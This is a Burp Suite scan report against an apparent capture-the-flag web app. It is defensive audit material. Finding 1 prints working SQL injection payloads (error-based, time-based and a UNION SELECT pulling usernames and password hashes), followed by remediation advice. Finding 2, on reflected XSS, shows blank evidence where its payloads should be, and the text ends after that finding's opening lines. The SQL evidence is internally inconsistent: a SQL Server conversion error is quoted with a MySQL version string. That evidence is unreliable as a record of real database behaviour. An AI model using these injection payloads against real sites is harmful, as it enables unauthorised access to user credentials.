================================================================================ BURP SUITE SCAN REPORT Target: http://vuln-webapp.ctf.local:8080 Scan Date: 2026-04-07 09:30:00 UTC Scanner Version: Burp Suite Professional v2024.12.1 Scan Type: Active Scan (Full Audit) ================================================================================ FINDING 1 OF 10 ================================================================================ Severity: CRITICAL Confidence: Certain Type: SQL Injection URL: http://vuln-webapp.ctf.local:8080/products Method: GET Parameter: category (URL query string) Evidence: Injected payload: electronics' AND 1=CONVERT(int,(SELECT @@version))-- Server response included error: "Conversion failed when converting the nvarchar value 'MySQL 8.0.32-ubuntu0.22.04.1' to data type int." Time-based confirmation: Payload: electronics' AND SLEEP(10)-- Normal response time: 43ms Injected response time: 10,048ms UNION-based extraction confirmed with 4-column table: electronics' UNION SELECT username,password,email,NULL FROM users-- Returned 3 rows of user data including password hashes. Remediation: - Use parameterized queries (prepared statements) for ALL database interactions - Apply input validation as a defense-in-depth measure - Implement least-privilege database accounts (read-only where possible) - Deploy a Web Application Firewall (WAF) as an additional layer References: - CWE-89: SQL Injection - OWASP Top 10 2021: A03 Injection - https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html FINDING 2 OF 10 ================================================================================ Severity: HIGH Confidence: Certain Type: Reflected Cross-Site Scripting (XSS) URL: http://vuln-webapp.ctf.local:8080/search Method: GET Parameter: q (URL query string) Evidence: Injected payload: Response body (line 47):

Search results for:

The input is reflected directly in HTML body context without any encoding or sanitization. The following payloads were also confirmed:
Additional injection point found in same parameter within an attribute: